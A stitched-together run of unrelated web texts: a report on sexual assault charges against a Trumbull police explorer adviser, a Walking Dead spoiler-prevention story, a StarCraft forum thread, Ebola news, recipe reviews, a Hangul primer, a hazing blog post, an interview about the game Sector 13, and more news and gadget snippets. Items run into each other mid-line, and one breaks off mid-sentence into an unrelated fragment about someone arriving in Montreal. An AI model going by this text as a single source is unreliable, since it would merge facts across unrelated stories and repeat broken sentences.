Ruscoe served for several years as an adviser to the explorer program, which works with youth interested in possible law enforcement careers, according to a statement from Trumbull Police Chief Thomas Kiely.
The application for the arrest warrant says one alleged victim is now 17, and the other is 18.
Ruscoe's lawyer, Michael Fitzpatrick, did not immediately return a request for comment but told the Stamford Advocate that his client would be pleading not guilty.
The investigation into Ruscoe began in October, when a suspicious incident was reported at a high school in Tolland County.
The 17-year-old girl told police that she joined the police explorers program in 2011, when she was 14. Months later, her drill instructor, identified as Ruscoe, started sending inappropriate and flirty messages, the girl told police.
Then it escalated to Ruscoe asking the teen to send him photos of herself.
In all, the teen said she sent Ruscoe about 50 photos of herself, and Ruscoe sent her inappropriate photos of himself.
In January, police obtained a search warrant for Ruscoe's phone and met with him at the police station to retrieve it.
Ruscoe handed over his phone but said he did not want to provide the password or provide a written statement, according to the warrant application.
Ruscoe's attorney also told police that his client did not want to be interviewed.
On Sunday, troopers met with the second alleged victim, who told police that she was "very intimidated" because of Ruscoe's position and she did not want him to get in trouble.
She told investigators she joined the explorers program in December 2012 and Ruscoe started sending her inappropriate messages in 2013. when she was 17.
She told police that she did communicate with Ruscoe but only after he was very persistent.
In the texts, Ruscoe allegedly wrote that he loved the girl and the texts progressively became more graphic and sexual in nature, according to police paperwork.
She told police that Ruscoe begged her to send him photos of herself and she eventually did, according to police. She also provided police with information about some encounters they had in June.
In one, Ruscoe took the teen to a beach in Stratford and gave her a silver bracelet with a heart-shaped charm that said "Made With Love," according to police.
He also allegedly took the teen to a home he had moved out of. Once they were inside, he placed a gun on the counter and and was looking at her "in a threatening way that made her very uncomfortable," the warrant says.
The girl told police that things became sexual and she kept telling him to stop. He also restrained her hands behind her back with handcuffs while in bed, police said.
The girl told police she recalled one conversation in which Ruscoe said that if he ever got caught, he would go to jail and that he would kill himself if he went to jail.
Ruscoe was charged with second-degree sexual assault, third-degree sexual assault, fourth-degree sexual assault and tampering with a witness.
The Trumbull police chief said he was "deeply troubled and concerned by the nature of the charges that have been presented."
Ruscoe posted bond and is due back in court on March 5.The situation revolving around The Walking Dead’s latest cliffhanger—a recreation of an infamous murder scene from the comics that AMC has managed to stretch out so far for two months and counting—is pretty ridiculous. Turns out, however, that its absurdity cannot match the lengths AMC is going to keep the outcome secret.
The detail comes out of an extensive Hollywood Reporter piece about the show’s next season, and how it intends to deal with the consequences of Negan brandishing his barbed-wire-wrapped baseball bat in the faces of the majority of the show’s principal cast. But how do you avoid getting the cliffhanger you’ve inconceivably stretched out for months and months spoiled ahead of broadcast? By filming the opening scene of the upcoming seventh season over and over again, each time with a different actor taking the fatal blow.
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According to THR’s sources, that’s exactly what AMC has done, in an attempt to dissuade spoiler-hungry set photographers from figuring out who really dies. There were 11 potential victims—Rick, Carl, Michonne, Glenn, Maggie, Abraham, Sasha, Daryl, Eugene, Aaron, and Rosita—so that means AMC recorded 11 takes of the same scene. The director of the episode and the show’s producers will then slot in the true take in the editing process.
Kinda a crazy length to go to for something that viewers should have probably gotten to learn in last season’s finale, isn’t it?IEG_Ghost Profile Joined March 2013 Korea (South) 198 Posts #1
I'm Ghost form IEG
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DiMano Profile Joined July 2011 Korea (South) 1985 Posts #2 IM.Absolute -> IM.UngNim
Savage -> Climax IM.Absolute ->IM.UngNimSavage ->Climax Life, JangBi, Stork, RorO, EffOrt, herO, Hydra and all other korean players and especially rookies, know and love them all <3
Dodgin Profile Blog Joined July 2011 Canada 38849 Posts #3 What in the fuck is an UngNim
Fjodorov Profile Joined December 2011 5007 Posts #4 never heard of UngNim or Eins. So many games on alterzim stronghold :o This will be alot of fun
Keeemy Profile Joined November 2012 Finland 7821 Posts #5 No Byun ;;; Hello
ErrantKnight Profile Joined November 2012 Switzerland 186 Posts #6 Wierd player choices from most esf teams, no Byun from PRIME, IM putting in their new recruit UngNim and not putting in Squirtle or First. Even SKTT1 isn't putting in Soulkey or Fantasy. But it's a Preaseason so I guess it's the occasion to give some exposure to other players. "Quantity is quality by itself"
Noam Profile Joined September 2010 Israel 2206 Posts #7 2v2!!! Liquipedia
HolydaKing Profile Joined February 2010 18309 Posts #8
2v2!!!!!
Flash! Stork PvP2v2!!!!!Flash!
kurosu_ Profile Joined February 2013 France 45 Posts #9 Savage climax? Wat.
Do Koreans even understand the nickname they are picking? I guess they stop at some first translation...
Aeromi Profile Blog Joined August 2012 France 13983 Posts #10 On December 14 2013 20:01 kurosu_ wrote:
Savage climax? Wat.
Do Koreans even understand the nickname they are picking? I guess they stop at some first translation...
Swagger > Climax O'Gaming Esport manager at O'Gaming | https://twitter.com/DrAeromi | Updates on live tournaments: @StarCrafteSportPatient claims to have had contact with Dallas 'patient zero'
The ABC station in Dallas is reporting a second possible Ebola patient.The station said crews are preparing to transport a patient with signs and symptoms of Ebola from a Frisco health facility. The patient was identified as a Dallas area deputy who went into Thomas Eric Duncan's apartment with county health officials without protective gear.Authorities said the deputy was ordered to go inside the apartment to get a quarantine order signed.Related: Common Ebola myths"The patient claims to have had contact with the Dallas 'patient zero,'" according to a statement from Dana Baird-Hanks, a spokeswoman with the city of Frisco.The deputy reported having stomach issues, according to WFAA.Related: What to know about EbolaPatients at the facility are being held there while health officials respond to the patient.
The ABC station in Dallas is reporting a second possible Ebola patient.
The station said crews are preparing to transport a patient with signs and symptoms of Ebola from a Frisco health facility. The patient was identified as a Dallas area deputy who went into Thomas Eric Duncan's apartment with county health officials without protective gear.
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Authorities said the deputy was ordered to go inside the apartment to get a quarantine order signed.
Related: Common Ebola myths
"The patient claims to have had contact with the Dallas 'patient zero,'" according to a statement from Dana Baird-Hanks, a spokeswoman with the city of Frisco.
The deputy reported having stomach issues, according to WFAA.
Related: What to know about Ebola
Patients at the facility are being held there while health officials respond to the patient.
AlertMe562
Like other reviewers, I was in search of a recipe to make breakfast sausage since I cannot have many of the additives (mostly MSG) in commercially-prepared sausage. We moved and I could no long...
I'm giving this recipe 3 stars as is. I made this today, and enjoyed it, prepared as is. My family & I thought it was a bit bland. I think I would basically double all spices besides salt & p...
JulieCC 1k 95
Like other reviewers, I was in search of a recipe to make breakfast sausage since I cannot have many of the additives (mostly MSG) in commercially-prepared sausage. We moved and I could no long... Read more
TRACHECACHE 0 1
Have been fumbling around for the best sausage recipe. Wow! Just made this recipe and tried some left over scraps. Substituted 1 1/2 tsp fennel seed for the clove (which I did not have). Rol... Read more
MINKCHAN 70 31
This recipe was soo easy and tasted pretty good! I didn't have marjoram or cloves and all I had was some ground sage and the Italian Spices (which contained a bit of rosemary, marjoram, sage et... Read more
Susie 106 8
Very tasty recipe. I substituted ground pork for 1 pound of ground turkey breast and 1 pound of ground turkey thigh for a lower fat version of breakfast sausage. I also doubled the sage. Whe... Read more
Doris Cheung 313 39
This recipe can't be beat. It's so tasty and easy to make that I'll probably never buy store-bought sausage again--especially since you don't know what 'by-products' are in there. This recipe... Read more
Robbie Rice 112 76
We ran out of breakfast sausage and wated to make biscuits and gravy. I found this recipe and it made a wonderful sausage, and in turn, a great gravy! Read more
Nyteez.com 24 5
This is the perfect blend of spices for breakfast sausage! I just made my first batch and it is the best I ever had! I ground my own pork, turkey and even threw in some beef scraps. If you us... Read more
VickiefromCa 13 11
This is a great basic recipe. I usually mix 1/2 lean ground turkey and 1/2 ground pork. This helps to cut some calories while still giving the flavor we want. I've made several varieties of this... Read moreHangul: an introduction
There are two things that make the Korean script, Hangul, quite unique, at least among the major writing systems used in the world:
Firstly, rather than evolving from pictures or abstract shapes, the Korean script was a deliberate invention. The script was invented in (or around) 1443 by the Korean monarch King Sejong. Although the king was assisted by a group of young scholars, documents suggest that Sejong was personally responsible for devising the workings of the script
Secondly, the way that Korean is written is different to most writing systems. Although Korean is an alphabet (in which one shape largely corresponds to one sound), the letters are not written linearly. Instead, they are grouped into syllable blocks.
For example, the name of the script is written not as ㅎㅏㄴㄱㅡㄹ [h-a-n-g-u-l] but as 한글 [han-gul]. Thanks to the ingenuity of its creation, the Korean script has sometimes been called the most scientific writing system in the world
The writing system is known as Hangul in South Korea, and this is also the word that has been adopted into English. However, it should be noted that in North Korea, the script is known as ChǒsongǔlJanuary 20th, 2010
My last post about a childhood embarrassment got me thinking about how dreadful grade school and high school can be. Girls had it bad, but I think sometimes boys had it worse.
I rode a school bus to high school with about thirty other kids. At the start of every school year, senior boys took it upon themselves to haze the freshman boys by making them prove their physical capabilities.
The hazing went like this:
When our school bus was on approach to our bus stop, all of the freshman victims were told to get off the bus about four blocks ahead. Their challenge was to run as fast as they could to the bus stop and if they beat the bus there, they were rewarded by not getting the crap kicked out of them by the senior boys.
Nice, huh?
You might ask why the bus driver, a woman, would even let those poor souls off the bus ahead of time, since that wasn’t an assigned drop off point.
When everyone heard murmurings that the hazing was about to take place, we’d yell up to the front of the bus and beg the driver not to let them off.
But she did.
I wonder if today she regrets it. She should. She knew why the senior boys were demanding it.
But one thing she did do was drive the bus as slow as possible to the stop so the freshman had some chance of making it back before she did.
I don’t remember anything about the boys who didn’t make it in time. I’m certain I rushed off the bus and high-tailed it out of there. After all, if the seniors treated boys that way, what might they do to humiliate the girls?
My fleeing the scene was an act of self-preservation.
To this day, I imagine the horror-filled days of the freshman boys. How must they have survived the hours at school, knowing that at any time on the bus ride from hell they’d have to prove their worth to some jackasses who held such power over them?
I only hope that today, something like that would never happen. I hope if it did, the bus driver would be fired. The senior boys would get detention. And the freshman boys would be saved.Rapist brothers had phones in prison cell
Updated
Two mobile phones have been found in the prison cells of convicted rapists Bilal and Mohammed Skaf.
The Department of Corrective Services is investigating how the men managed to smuggle the phones into the maximum security Goulburn Jail.
A spokesman for the Department of Corrective Services, John Dunthorn, explained to the ABC how the phones were discovered.
"We got some information on Tuesday. We acted almost immediately on that information," he said.
"The information wasn't specific but it was close enough for us to determine that there was a possibility of something being secreted there.
"We searched a number of cells. One of those cells contained the two Skaf brothers and in the course of searching that cell we found the two mobile phones."
The brothers were strip-searched and put into immediate segregation, with Mohammed Skaf, 25, transported the same day to Lithgow jail.
It was unknown how long the brothers had the phones, but an investigation had begun to determine how they received the contraband items, the spokesman said.
Bilal Skaf, 26, is serving a 36-year term, while Mohammed Skaf is serving a 23-year term.
They were convicted over a series of gang rapes including a pack attack on a 16-year-old girl at Gosling Park in the western Sydney suburb of Greenacre in August 2000.
The New South Wales Opposition says there needs to be a full investigation into the incident.
The Opposition Leader Barry O"Farrell says it is a major security breach.
- ABC/AAP
Topics: prisons-and-punishment, law-crime-and-justice, crime, goulburn-2580, australia, nsw
First postedEver wanted to toast bread while cutting it?
It’s from the future! There’s a scene in the 2005 The Hitchhiker’s Guide to the Galaxy movie where a lightsaberish bread knife is not only able to slice a loaf, it toasts it at the same time. That was carried out with special effects, but a crazy British inventor Colin Furze has gone and built a similar contraption in real-life, and his creation works. Called the FurzoToasto, it is an electric knife that toasts bread while it slices.
Using a modified microwave transformer (Obvious Caution: Do NOT try this at home… unless of course you are a loopy inventor yourself), some copper pipes, and some heavy-duty wiring, the FurzoToasto simply runs a current through a saw blade until it turns red hot—visible when Furze turns all the lights off in his garage workshop. He demonstrates how to make this device in a brilliant Youtube video.
The cherry on top? Applying butter!! Oh, we are thinking, maybe it can cook meat too while cutting? That would be awesome2!We sat down with the co-founders of Reactor Interactive to talk to them about the studio’s first game, Sector 13, an ambitious, adrenaline-fueled arcade flight game that puts you in the seat of a pilot in the midst of a galactic war. More than just the faces of the Tampa-based studio, Ryan Buhrand Drew Clark are the lead programmer and lead artist respectively. Both were more than happy to discuss the studio’s first title, and their enthusiasm towards it was positively infectious. Find out what makes Sector 13 such a unique game in this GIZORAMA exclusive!
The world of Sector 13 has changed since the discovery of a phenomenon known as “foldspace,” which has ushered in a new era of exploration that’s led to new advancements in technology, and has expanded mankind’s horizon. Beyond the Great Rift lies Sector 13, a name given by the Galactic ConFederacy to the new, virginal region of territories that have an abundance of much-needed resources, and which has been placed under military control and protectorate. But now, the Galactic ConFederacy has invoked the first, full-sector charter for corporate action within this region, meaning any and all industries can now claim land and space within the sector. As continuous blood is shed in this wealthy region, control of Sector 13 has shifted to the Daetrexx, the Magnarri, the Ourobine, and the DrakCon. These mega-corporations make up the Great Four, and this is the story of their war–your war.
Sector 13 has been in development for 11 years since its inception. What initially sparked the idea behind the project?
Ryan Buhr: I grew up desperately in love with the Wing Commander and X-Wing series of games. I always wanted to make a game like them, but on a much larger scale. Something that was basically Grand Theft Auto in space. So I taught myself how to write code and started rounding up my college buddies to help me make it. As I began to recruit some like-minded individuals, I met Drew, who was in college actually studying game design and multimedia project management. He joined the team and immediately (and wisely) implored us to pare down this grand, overly-ambitious vision to just the space combat portion of the game and to call it Sector 13, named after my dorm unit number, Lawlor #13. The rest is history.
You describe the game as combining “the adrenaline-fueled action of games like Halo and Quake 3 Arena with the combat flight mechanics from games like Starfox and Crimson Skies”. What else did you take inspiration from?
Drew Clark: Gameplay-wise, we love the classic greats like X-Wing vs. TIE Fighter,Wing Commander, Descent: Freespace, but also some great console titles like Colony Wars, Warhawk, and even first-person and third-person shooters like Freedom Fighters and Gears of War. When it comes to art, I gladly wear my inspirations on my sleeves: I love the design aesthetic of Macross and Robotech, as well as Star Wars of course, and modern jet fighter design.
Tell us what makes this game unique and gives it its own identity amongst other arcade flight games.
Buhr: There are actually a number of things that make it unique. For one thing, all of the starfighters are the best starfighter. The core conceit of Sector 13 is that there isn’t one starfighter that’s fundamentally better or worse than another one – they’re all just different from one another with different strengths and weaknesses. I like to compare it to a fighting game like Tekken or Street Fighter, where there isn’t one character that’s any better than the rest. You might be more skilled with one or the other because it suits your play style better, but the character itself isn’t fundamentally more powerful than any other. That’s how the starfighters work in Sector 13. And then you can swap out weapons and defensive countermeasures and other modifications to your starfighter, which are, again, all balanced against one another. Another big thing that sets us apart in the space game genre is that our space environments are the opposite of empty. You’re constantly dodging asteroids, flying through the tunnels and docking bays of huge space stations and weaving your way through the superstructure of under-construction capital starships. To us, dogfighting in the middle of wide-open empty deep space is boring. So in Sector 13, there’s always something to fly around and through, plenty of ways to find cover, dodge missiles and out-maneuver your enemies. And our flight model is so easy to pick up and play that it makes you feel like a badass starfighter pilot on day one.
The game has quite a rich backstory, but I’m curious if that will really be a major factor. Will there be a single-player story mode, or is this strictly a multiplayer game that has its fair share of lore?
Clark: We have a designed what we consider to be a fairly brilliant single-player mode that combines elements of a choose-your-own-adventure novel with the idea that every faction gets to tell their own story as you progress as a pilot from that faction’s point of view. Whether we get to tell this story is up to the level of funding we can procure, as the single-player campaign will require far more work, time, production level and budget. We desperately want to do it though, and hope the means to do so will be there in time. Buhr: The story we’ve cooked up for this is actually much richer and more detailed than a typical game of this caliber would call for. We’ve even gone so far as to come up with our own version of the NATO phonetic alphabet that the pilots use to communicate over the radio – it’s that detailed. But this is just the first game in a much larger universe that we would like to flesh out and expand upon in future games.
Obviously there’s a huge focus on customizing your Starfighter and truly making it your own creation, but could you theoretically be dominating in matches without having tweaked your Starfighter at all? Just how important are the customization mechanics?
Clark: It’s extremely important to us, and especially to me, that the game be balanced among all the fighters. My hope is that players will start out curious about each fighter based on looks and aesthetic appeal, but then fall in love with one after some play time based on how it flies, how it feels, how it complements the way they play. The customization aspect is supposed to help ensure balance by making certain key elements available to all fighters. There will be a large and varied assortment of hardpoints available, and all of them will be interesting and help enhance the fun of the game. Stat-boosting hardpoints will be as important as offensive or defensive weaponry, with default loadouts expected to be as useful and in balance as any player-created customization. Keeping the multiplayer fair and balanced will be a huge emphasis of our development efforts.
With over 25 Starfighters, four combat theaters with three different arenas each, four different game modes, and dozens of Hardpoint weapon configuration options, Sector 13 is an ambitious project that’s absolutely packed with content. Considering how publishers nowadays like to charge people just for new skins, the amount of content seems like a big selling point for the game. Was making sure that players get a big bang for their buck an important focus in development from the very start?
Buhr: Absolutely. Drew and I have a fundamental aversion to predatory monetization schemes like micropayments and Pay-to-Win models, so we will never adopt those methods for Sector 13. We want players to be able to buy the game once and own it forever without ever feeling like they’re missing out on something just because they didn’t buy all the individual puzzle pieces. So yes, we’re putting in an extraordinary amount of day-one content that everyone will have access to immediately and forever. Now, if the game becomes wildly popular, the design of Sector 13 lends itself very well to us being able to create more content for the players in the way of new starfighters, new hardpoint weapons, new arenas and new gameplay modes. A lot of that will come in free updates to anyone who already owns the game because we don’t ever want to divide our playerbase between people who own the vanilla game and those who have purchased the DLC map packs, for example. So things like map packs and new game modes might come in a free update to everyone, while things like new starfighters and weapons (which just add variety to the game, not fundamental advantages) might come in the form of paid DLC.
What’s your personal favorite Starfighter?
Clark: Currently, it’s a tie between the Rapier and Guardian… but they are all my creations and I love them dearly. This is a tough question for me. Buhr: For years my favorite design has always been the Falcon. Named after a certain famous smuggling ship, the Falcon is an old, beat up fighter that doesn’t look like much, but definitely has it where it counts. After some of our gameplay testing, I’m now starting to gravitate toward one of the wilder designs called the Hellfolly – the only ship in the game without shields. Really powerful guns, super fast and maneuverable, but it’s toast if you even sneeze on it. Tons of fun to fly.
Can you explain the concept of Hardpoints to us? What Hardpoint do you two have equipped on your own Starfighters?
Buhr: Hardpoints are the way you customize your starfighter in Sector 13. Hardpoints come in a variety of forms. Offensive hardpoints are new, more powerful weapons that you can sling under the wings of most starfighters, such as Area Nukes, Swarm Missiles, Sniper Cannons, etc. Defensive hardpoints come in the form of invulnerability shields, mines, which can be dropped out the back of your ship directly into the path of a pursuer, and flares, which can throw off incoming missiles. Finally, passive hardpoints can be mounted in your fuselage to boost the base attributes of your starfighter, such as speed boosters, shield boosters, weapon boosters, etc. Each starfighter has a different number of offensive, defensive and passive hardpoint slots depending on the starfighter’s role in combat. Bombers might have many offensive slots and fewer defensive slots, while advanced fighters might have a larger number of passive slots. Space superiority fighters might have a more balanced array of offensive, defensive and passive hardpoint slots. I can’t yet say I have a favorite hardpoint loadout. I love to experiment with all the different ways you can kit out your favorite starfighter, so I’d say I’m pretty eclectic when it comes to hardpoints. Clark: Hardpoints are also another way I want to emphasize the classes of fighters in the game. Similar to how many shooter games will have “assault”, “heavy”, “scout”, etc., Sector 13 will have classes of fighters such as Interceptors, Strike Fighters, Fighter Bombers, Tactical Fighters, etc.; the hardpoints are another opportunity to differentiate the classes from each other. By separating the wing-mounted hardpoints from the fuselage-mounted hard points, the number of slots available to mount customizations and the types of hardpoints available by class will give players more reasons to choose a fighter based on the mission the player is being asked to accomplish, or the role on the team the player is hoping to fill. For example, a mission where the objective is to take down an enemy capital ship will require a team of players to cooperate using escorts, strike-fighters and bombers to effectively tackle the objective.
Sector 13 seems to have absolutely wonderful music that nails the epic atmosphere of space and the intense nature of the combat—it really draws you in. How important is it that each piece of music fits perfectly into every battle?
Buhr: I have always been a connoisseur of fine video game music. I grew up on classical music, played concert piano for a decade and a half, and generally have the same musical tastes as your great grandmother. I am a great admirer of John Williams and his famous movie scores, so it was hugely important to me to have an epic, modern, orchestral soundtrack for Sector 13. We have been extremely blessed to work with composers Evan Arnett and Natanel Arnson, who have had unwavering dedication to the project and are two of the best musical talents in the industry. Their work has resulted in a soundtrack for this game that will always find itself in my personal playlist among the works of Nobuo Uematsu, Koji Kondo and David Wise. We’ve thought very deliberately about the music for Sector 13. Each of the five factions in the game have their own theme song, and then each of the four battle theaters have their own musical style and tone. There are three battle tracks in that style and tone for each theater, with a fourth track whose melody fits the theme of the faction for whom you are currently flying. Those four tracks are then shuffled during the battle so that the music always feels appropriate to the environment, recognizable to the faction, and never aurally fatiguing.
Unfortunately, you weren’t able to reach the funding for your Kickstarter campaign. How is this going to affect the development of the title? For example, can we no longer expect the game to release on Xbox One and PS4, or will you still strive for that once the PC and Mac versions are released?
Buhr: We won’t stop working on Sector 13 until it’s done, funded or not. We will always be striving to raise money to release the game on as many platforms as we can, and I’m confident we’ll find it eventually. Our primary goal is PC and Mac, distributed on Steam, on which we were recently Greenlit! We’d also like to release a Linux version for Steam. Following that, if we have the funds, we will begin work on a PS4 and/or Xbox One release. This is one of those questions that just comes down to money.
When can we expect the game to launch?
Buhr: If we can secure enough funding for me and one other artist to remain focused on Sector 13 full-time without having to pick up contract work to be able to eat once in a while, we can complete the game in about a year. If we can’t do it full-time, it will take a little longer. It all depends on the amount of funding we can secure.
One last question: With such a long period of development, it’s obvious that so much work has went into this project. Do you think that the amount of heart and care your team has put into Sector 13 will be evident, and do you think that ultimately, it’s what’s going to truly make it stand out against other games in the genre?ISLAMABAD, Pakistan — A Pakistani newlywed has been arrested and charged with murder in the poisoning of 17 people, including several of her in-laws, in what officials described as an attempt to escape from a forced marriage.
The woman, Aasia Bibi, 21, and a man identified as her boyfriend were accused of having intentionally put rat poison into milk that was served to family members at a gathering.
Ms. Bibi, who appeared in a court in Punjab Province, told reporters she had begged her parents not to force her to marry, but her pleas were ignored. She has been charged under the country’s antiterrorism law and was placed in pretrial detention.
After consuming the tainted milk two weeks ago, 27 members of the extended families were hospitalized. Seventeen of them, including a 4-year-old, a 7-year-old and Ms. Bibi’s husband, Muhammad Amjad, 23, died, officials said.Open Chrome tabs can eat up a lot of RAM, even when not in use. TabMemFree unloads tabs after a specific amount of time to free up memory when you aren't using them.
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If, like many of us, you keep tabs open in your browser because you want to check on them later, TabMemFree is a good way to keep them from taking up all your computer's resources. Just install it, give it a timeout value (like 15 minutes), and it will unload any tabs that have been inactive for that amount of time. Unfortunately, the extension is a little hacky, which means it isn't perfect. When you unload tabs, you can't see what they used to be, they just have the extension's icon on them. Furthermore, since it unloads them, you'll lose any media playing in those tabs (like if you use Google Music) or any form-filled text you've entered (which can be easily solved by using previously mentioned Lazarus Form Recovery). We'd like to see an option to ignore tabs from a specific domain, but hopefully the developer continues to add to the extension. While it isn't quite as good as BarTab, the Firefox extension that inspired it, it'll still free up memory for you—and that's more than enough to get us interested.
TabMemFree is a free extension, works wherever Chrome does.
TabMemFree | Chrome Web Store via AddictiveTipsThe Berkeley College Republicans report they have been told the $7000 the group paid to host MILO’s event, which was cancelled after “anti-fascist” rioters wreaked havoc, will be refunded.
The Berkeley College Republicans were forced to pay the high security fee in order to protect the event from left-wing rioters.
Fees have also been used by universities as a means of censorship, pricing student groups out of hosting events because of their conservative or libertarian beliefs.
Coverage of the rioting spread across the world last night as students smashed ATMs and bank windows, looted a Starbucks, beat Trump supporters, pepper sprayed innocent individuals, and set fires in the street. Others spray painted the words “Kill Trump” on storefronts.
Earlier today, President Donald |
Rico and arrived in Montreal when he was 15. Other comments he has made have also been controversial, but he denied that he is racist.
“The whites who created this country are supposed to be bending over backwards in a state of shame for having built the best country in the world,” he told CTV News.Google's search results are way too vanilla for an OG like yourself. You need a search engine with a little gansta funk in it. Fo' shizzle my nizzle, here's one that's "realer than Real Deal Holyfield": Gizoogle.
What's Gizoogle you ask? Though not affiliated with Google in any way, it's just like its more straight-laced cousin, with one noticable difference: it translates all search results into the ganstalicious slang popularized bySnoop Dogg.
Not hip to Snoop's linguistic flair on his "Doggy Fizzle Televizzle" show on MTV? No worries, just log on and get schooled. But before you do, Gizoogle has a few words of warning.
DNEWS NUGGET: Snoop Dogg Is Now a Lion
"This website is only intended for mature audiences familiar with the slanguage used by Snoop Dogg, and anybody under the age of 13 should not visit this website without adult supervision," the website states.
More On This... Eavesdropping on your phone from anywhere in the world
For example, let's type in the most non-gangsta thing we can think of. How about the "Lawrence Welk Show." Here's what Gizoogle's "Wikipizzle" page spits out:
"Da Lawrence Welk Show be a American televised musical variety sheezy hosted by bangin' band leader Lawrence Welk. Da series aired locally up in Los Angelez fo' four muthaf****n' years (1951-55), then nationally fo' another 27 1/2 muthaf****n' years (1955-1971) via the ABC network..."
According to the website, "Gizoogle was originally created by John Beatty, who started the site in 2005 as a joke after inspiration from a friend's constant use of the slang on America Online's Instant Messenger service" and also by Snoop's" show on MTV.
Over the years Gizoogle has encountered some glitches, undergone address changes and been on and off line. However, now it's been restored to its former glory.
NEWS: This Is Your Brain On Freestyle Rap
"The slanguage used in our algorithm has been quoted from Snoop Dogg himself and is commonly used in movies, conversations and music he has written," states the website. "These words are based on slang and can not be interpreted in any other way other than how they are quoted. There are no racist words used in the algorithm."
Sure, Gizoogle isn't sheets-and-burning-crosses racist, but it does wander into the ironic "hipster racism" territory, a topic that's been hotly discussed in recent years. This is probably a questions for Yo, Is This Racist?Millions of people who suffer from diabetes are used to that painful prick in the finger to test their blood glucose levels. A new device under development may end this routine and offer a pain-free and non-invasive reading of glucose levels.
The common test for checking the amount of glucose in the blood of diabetics involves pricking the finger multiple times per day in order to obtain the blood readings. PositiveID Corporation, a developer of medical technologies for diabetes management and molecular diagnostic systems, recently partnered with the Diabetes Research Institute (“DRI”) at the University of Miami and “Schneider” Children’s Medical Center in Israel for the purpose of developing an alternative named Easy Check.
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Easy Check is a non-invasive device that can indicate the patient’s glucose levels by measuring the amount of acetone in the breath. This ongoing development follows clinical researches that have shown that the presence of increased levels of acetone in the breath of a patient indicates a high level of glucose in the blood.
“The goal of Easy Check is to eliminate a person’s need to pinch their finger to get a blood glucose reading,” says Allison Tomek, senior vice president, Investor Relations & Corporate Communications at Positive ID Corporation. “Instead, they could simply breathe into the Easy Check device and get a reading.”
This patent-pending device requires the patient to exhale into a single-use capsule. The device then mixes the exhaled breath of the patient with a chemical compound that triggers a chemical reaction, which in turn allows the measurement of the acetone levels in the patient’s breath. This measurement is then correlated to the level of glucose in the body.
According to the developers, “the portable device is expected to provide a reading in five to seven seconds, with the same accuracy tolerances as present day glucometers, in a safe and pain-free testing alternative.”
“The device is still under development, but we purchased the intellectual property for Easy Check in Febuary 2009,” Tomek tells NoCamels. “We do not yet know when the device will be available or how much it will cost, but we expect to launch a clinical study in the coming weeks.”
To date, Easy Check has only gone through preliminary breath tests, conducted in a research facility outside Tel Aviv, Israel. The company is now working on further testing, calibration and development of the device’s software and algorithms. The second generation of the prototype is currently under development, leading to a possible FDA submission this year.Sober Man DUI: Arizona Driver Blows 0.000, Gets Penalized
A sober man was arrested for a DUI in Arizona even though he had 0.000 blood-alcohol content, it was reported.
Jessie Thornton, 64, of Surprise, Ariz., was pulled over by police said that the cops told him that he was drunk just by looking at him, reported ABC News 15.
“’An officer walked up and he said ‘I can tell you’re driving DUI by looking in your eyes.’ I take my glasses off and he says, ‘You’ve got bloodshot eyes,’” he told the station.
When other police arrived, Thornton blew a 0.000 but police said he should be evaluated for drug use.
“Yes, I do the breathalyzer and it comes back zero, zero, zero,” he added.
Thornton said that he was placed in handcuffs and was told to sit on the curb, but he told the station that he has hip and knee problems.
“I couldn’t even sit on the ground like that and they knew it and I was like laying on the ground, then they put me in the back of an SUV and when I asked the officer to move her seat up ’cause my hip hurt she told me to stop whining,” said Thornton.
He then said that “I then get this message that my license is being suspended and I have to take some sort of drinking class or something.”
Police then informed him that his car was impounded and a DUI charge was filed against him.
READ: Bird Drone Developed by Army Attacked by Real Birds (+Video)
Thornton told the station that a late-night swim at LA Fitness might have the reason why he was arrested.
However, he believes the DUI arrest and the ten other times he has been stopped were motivated by racial profiling.
“It was driving while black,” he said, adding: “I just don’t want any of this to happen to somebody else,” he said.
Apparently, there have been problems in Arizona in the past with police arresting sober drivers on DUI charges.
In 2008, a 29-year-old Gilbert woman, Heather Squires, was arrested for drunk driving even though she blew a 0.000, reported the Phoenix New Times.
She was ordered out of the vehicle and was handcuffed. Her truck was searched and impounded.[bcvideo id="981945927001"]
As reported on CVG, Bioware head Dr. Ray Muzyka has hinted that we might see a massively multiplayer expansion to the Mass Effect universe.
Read on for the details.
When asked about the possibility of an MMO, Ray told the website "I think there's many, many different directions we could go in in the future with new IPs and extensions, business models and platforms. We really want to go where our fans are and some of the ideas you mention - there are definitely possibilities."
Dr. Ray did insist that Bioware are "committed to The Old Republic for many, many years plus launch," saying: "It's going to be a massive endevour to drive content towards fans and make sure the service quality is really high... we have some really cool stuff going on with our Virginia studio out of Bioware Mythic."
We're exploring new types of online play. We also have some new things in the pipe we haven't announced yet out of our Edmonton studio... We're obviously looking at Mass Effect, Dragon Age - they're epic franchises, and we have more things planned in the future. Mass Effect 3 is the beginning of a Galactic war. The future's bright."
Mass Effect 3 is due for release in March 2012. You can read Josh's first impressions here, and Tom's "15 things we want to see from Mass Effect 3" here. Star Wars: The Old Republic will hit PC later this year. We have a whopping three previews on the site.Ander Herrera says he is living a dream playing for Manchester United and he gets excited every time he plays at Old Trafford Ander Herrera says he is living a dream playing for Manchester United and he gets excited every time he plays at Old Trafford
Ander Herrera says he's "living the dream" at Manchester United and is happy with his development since joining the club, but believes he can still improve his game further.
Herrera, who moved to Old Trafford in the summer of 2014 from Athletic Bilbao, was praised for his performances against Everton last Saturday and CSKA Moscow in midweek, and although Louis van Gaal has several options in midfield, the 26-year-old has established himself as an important part of the squad.
"I am ambitious, I want to play better and better," Herrera, speaking exclusively to Soccer Saturday ahead of the Super Sunday Manchester derby, said. "I am improving, when you love football you are always thinking about getting better. I can improve a lot.
"My aim is to try to play as many games as possible and to help the team. I am very happy with my development. I am living the dream - I am playing for Manchester United, for one of the best in the world."
The midfielder was named man of the match in United's 3-0 win over Everton, and Herrera is relishing the Manchester derby.
"I have the experience of last year, when we beat them at home, and I think it was the best atmosphere of the season," Herrera continued.
Jamie Redknapp joins Ed Chamberlin to preview a Super Sunday triple header Jamie Redknapp joins Ed Chamberlin to preview a Super Sunday triple header
"I know for our people, our fans, the game against Liverpool is bigger, but it [the City game] is also very important for our fans too.
"It's a derby first, and second you get the chance to be ahead - that's what we want.
"Our aim is to fight for everything, to be involved in all the trophies. That's what Manchester United has to do."
You can catch the full extended interview on Sky Go, On Demand and the iPad app. Don't miss Manchester United v Manchester City on Super Sunday from 2pm on Sky Sports 1. See the game for £6.99 with NOW TV. No contract.So we decided to take a peek at the 10-man side of raiding. The plan was to run a 25-man normal mode raid in tandem with the hc 10-man up to Ragnaros in order not to waste any legendary pieces and get the valor points.
